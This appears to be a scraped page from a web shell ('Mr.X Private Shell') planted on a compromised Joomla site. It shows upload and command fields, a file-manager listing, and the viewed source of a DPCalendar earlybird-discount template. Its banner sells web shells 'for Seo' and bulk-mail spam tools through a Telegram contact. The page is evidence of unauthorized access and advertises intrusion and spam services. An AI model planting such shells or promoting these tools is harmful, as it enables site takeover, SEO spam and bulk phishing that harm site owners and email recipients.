__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
use DigitalPeak\Component\DPCalendar\Administrator\Helper\Booking;
use Joomla\CMS\Language\Text;
/**
 * @package   DPCalendar
 * @copyright Copyright (C) 2019 Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */
defined('_JEXEC') or die();

if (!$this->event->earlybird) {
	return;
}
?>
<div class="dp-booking-info__discount-earlybird">
	<?php foreach ($this->event->earlybird->value as $index => $value) { ?>
		<?php if (Booking::getPriceWithDiscount(1000, $this->event, $index, -2) == 1000) { ?>
			<?php continue; ?>
		<?php } ?>
		<div class="dp-earlybird dp-info-box">
			<span class="dp-earlybird__label">
				<?php echo $this->event->earlybird->label[$index] ?: $this->translate('COM_DPCALENDAR_FIELD_EARLYBIRD_LABEL'); ?>
			</span>
			<span class="dp-earlybird__content">
				<?php
				$value = ($this->event->earlybird->type[$index] == 'value' ? \DigitalPeak\Component\DPCalendar\Administrator\Helper\DPCalendarHelper::renderPrice($value) : $value . '%');
				$limit = $this->event->earlybird->date[$index];
				$date  = \DigitalPeak\Component\DPCalendar\Administrator\Helper\DPCalendarHelper::getDate($this->event->start_date);
				if (str_starts_with((string) $limit, '-') || str_starts_with((string) $limit, '+')) {
					// Relative date
					$date->modify(str_replace('+', '-', (string) $limit));
				} else {
					// Absolute date
					$date = \DigitalPeak\Component\DPCalendar\Administrator\Helper\DPCalendarHelper::getDate($limit);
					if ($date->format('H:i') === '00:00') {
						$date->setTime(23, 59, 59);
					}
				}
				$dateFormatted = $date->format($this->params->get('event_date_format', 'd.m.Y'), true); ?>
				<?php echo Text::sprintf('COM_DPCALENDAR_VIEW_EVENT_EARLYBIRD_DISCOUNT_TEXT', $value, $dateFormatted); ?>
			</span>
			<span class="dp-earlybird__description"><?php echo $this->event->earlybird->description[$index]; ?></span>
		</div>
	<?php } ?>
</div>

Filemanager

Name Type Size Permission Actions
default.php File 3.1 KB 0664
default.xml File 35.73 KB 0664
default_booking_form.php File 757 B 0664
default_bookings.php File 3.19 KB 0664
default_bookings_earlybird.php File 1.92 KB 0664
default_bookings_options.php File 939 B 0664
default_bookings_prices.php File 1.34 KB 0664
default_bookings_user.php File 1.16 KB 0664
default_cta.php File 1.93 KB 0664
default_description.php File 902 B 0664
default_header.php File 8.59 KB 0664
default_heading.php File 500 B 0664
default_image_full.php File 763 B 0664
default_information.php File 801 B 0664
default_information_author.php File 796 B 0664
default_information_calendar.php File 1.5 KB 0664
default_information_date.php File 935 B 0664
default_information_hosts.php File 913 B 0664
default_information_locations.php File 1.42 KB 0664
default_information_url.php File 816 B 0664
default_locations.php File 7.78 KB 0664
default_schedule.php File 1.05 KB 0664
default_series.php File 1.48 KB 0664
default_tags.php File 433 B 0664
default_taxes.php File 572 B 0664
default_tickets.php File 3.27 KB 0664
default_title.php File 1.17 KB 0664
empty.php File 215 B 0664
mailtickets.php File 665 B 0664
mailtickets_actions.php File 1.19 KB 0664
mailtickets_form.php File 1.67 KB 0664
Filemanager